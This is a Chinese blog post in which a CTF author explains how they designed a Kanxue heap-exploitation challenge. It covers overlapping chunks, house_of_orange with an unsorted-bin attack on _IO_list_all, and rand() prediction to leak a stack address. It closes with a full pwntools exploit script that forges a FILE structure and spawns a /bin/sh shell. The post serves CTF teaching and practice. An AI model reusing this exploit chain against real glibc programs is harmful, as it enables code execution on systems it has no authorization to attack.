关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
看雪CTF题目设计思路
无
396
0
1
mut3p1g
由于最近一直在看堆的源码,所以一直想出一道关于堆的利用的题目,但是把源码翻来覆去也没想到好的思路,于是只能将从`how2heap`中学到的姿势混杂了一下,其中`house_of_orange`的利用方式真是亮瞎吾狗眼,于是就放了进来。第一次出`pwn`题还不太熟练,不足之处还望大牛们多多包涵XD ## 0x00 源码及编译 ``` gcc -s -pie -fPIE -fstack-protector source.c -o bin ``` ## 0x01 overlapping_chunks 为了不和`house_of_orange`完全一样,所以稍微加了一点东西XD,过去了就直接是一样的了。为了保证解题思路的唯一性,所以限制的有点死,一共可以申请五个块,四个块的范围都是限定好了的,而且只有两个块可以被释放。 在留言的地方可以多写一个字节,从而导致了[overlapping](http://www.mutepig.club/index.php/archives/49/#4.overlapping_chunks),具体流程如下: ``` malloc(0x18)=>little malloc(0x608)=>normal malloc(0x108)=>small free(normal) leavemsg(little,padding+"\xf0") ``` 这样实现后就能让被释放的normal的大小变成了0x5f0。 接着就申请一个对应大小的,这时可以通过打印留言的方式泄露`main_arena`的地址 ``` malloc(0x6e0)=>big d->fd=d->bk=addr(unsorted bin) ``` 接着就能释放small,从而将`top`包含到big这里,可以通过修改big来修改`top`。 ``` leavemsg(big,padding*0x600+p64(0x6f0)+p64(0x111) // 绕过校验 free(small) ``` ## 0x02 house_of_orange 通过第一步,现在我们已经可以实现修改`top`了,我们可以将`top`的大小调小一点,然后再分配一个超过其大小的空间就会调用`sysmalloc`,最后就会将这个`top`加入`unsorted bin`中。但要注意的是有个判断条件: ``` 2397 assert ((old_top == initial_top (av) && old_size == 0) || 2398 ((unsigned long) (old_size) >= MINSIZE && 2399 prev_inuse (old_top) && 2400 ((unsigned long) old_end & (pagesize - 1)) == 0)); ``` 关键是最后一个`top`的结束地址得和页大小`pagesize=0x1000`对齐。那么如何获得对齐的大小呢?这里有两个需要注意的地方: ``` 1. 由于远程的环境可能和本地环境不一样,所以需要暴力一下,从0x000-0x1000,应该只用暴力15次,如果对齐了就能走到最后,否则在这一步就报错退出了 2. 由于可能出现对齐的值可能是0x0a即回车的情况,这时只要我们修改normal_size,让top离开一点就可以了 ``` 接着我们申请`huge`后,就会将现在的`top`加入到`unsoted bin`中了。 那么接下来就是`unsorted bin attack`了,需要对`top`进行构造,具体原理参照[house_of_orange](http://www.mutepig.club/index.php/archives/50) ``` top[0]=/bin/sh\x00 //参数 top[1]=0x61 // 构造fp->_chain top[3]=io_list_all-0x10 // 即top->bk,实现_IO_list_all指向unsorted bin链表头 top[4]=2 // _IO_write_base top[5]=3 // _IO_write_ptr 这两个是要通过判断_IO_write_base<_IO_write_ptr top[24]=-1 // fp->_mode=-1 top[27]=&vtable // vtable ``` 到这里就只差一个问题了,就是`vtable`放在哪里,决定了`_IO_OVERFLOW`该在哪。 ## 0x03 随机数预测 由于堆的地址我是不想让大家知道的,避免直接`double_free`,所以我们只能从栈地址入手了,所以这里我强行加了个通过随机数来获得种子,从而得到栈地址。 程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。 具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来: ``` rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff ``` 所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到栈地址。 得到栈地址后,在退出的部分将`system_addr`写到栈里面,之后程序会调用`malloc`,从而触发异常,实现攻击。 ## 0x04 EXP ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * elf = ELF("./club") libc = ELF("./libc.so.6") p = remote("127.0.0.1",8888) def new(box,size=0): p.recvuntil("> ") p.sendline("1") p.recvuntil("> ") p.sendline(str(box)) p.recvuntil("> ") p.sendline(str(size)) def free(box): p.recvuntil("> ") p.sendline("2") p.recvuntil("> ") p.sendline(str(box)) def msg(box,cont): p.recvuntil("> ") p.sendline("3") p.recvuntil("> ") p.sendline(str(box)) p.send(cont) def show(box): p.recvuntil("> ") p.sendline("4") p.recvuntil("> ") p.sendline(str(box)) return p.recvuntil("\n").strip() def guess_num(num): p.recvuntil("> ") p.sendline("5") p.recvuntil("> ") p.sendline(str(num)) ret = p.recvuntil("\n") ok = "G00d" in ret number = int(ret.split(" ")[-1].split("!")[0]) return ok,number def guess(): randnum = [] for i in xrange(31): ok,num = guess_num(0) randnum.append(num) while not ok: guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff ok,num = guess_num(guess) randnum.append(num) return num def bye(name): p.recvuntil("> ") p.sendline("6") p.recvuntil("> ") p.sendline(name) if __name__ == "__main__": # guess number to get stack_addr stack_addr = guess() log.success("stack_addr:" + hex(stack_addr)) # overlapping chunks to get libc_addr and overwrite top nsize = 0x608 # 如果对齐值是0x0a的话,需要调整这里大小,从6到5到7都可以 lsize = nsize + 0xd8 align_size = 0x9c1 # 需要对齐调整的值 new(1, 0x18) new(3, nsize) new(2, 0x108) free(3) msg(1,"1"*0x18+"\xf0") new(4,lsize) unsort_addr = u64(show(4).ljust(8,"\x00")) io_addr = unsort_addr + 0x9a8 libc_addr = (unsort_addr & 0xfffffffff000)-0x3c4000 system_addr = libc.symbols['system'] + libc_addr log.success("libc_addr:"+hex(libc_addr)) log.success("io_addr:"+hex(io_addr)) log.success("system_addr:"+hex(system_addr)) payload = "a"*(nsize-8)+p64(lsize+0x10)+p64(0x111)+"\n" msg(4,payload) free(2) # house of orange payload = "a"*(nsize-8)+p64(lsize+0x10)+p64(align_size)+"\n" msg(4,payload) new(5, 0xf00) payload = "a"*(nsize-8) + "/bin/sh\x00" + p64(0x61) + p64(0) + p64(io_addr-0x10) + p64(2) + p64(3) + p64(0)*18 + p64(0xffffffffffffffff) + p64(0)*2 + p64(stack_addr-16) + "\n" msg(4,payload) # exploit bye(p64(system_addr)) p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
1
条评论
More...
文章目录
No Leanote account ? Sign up now.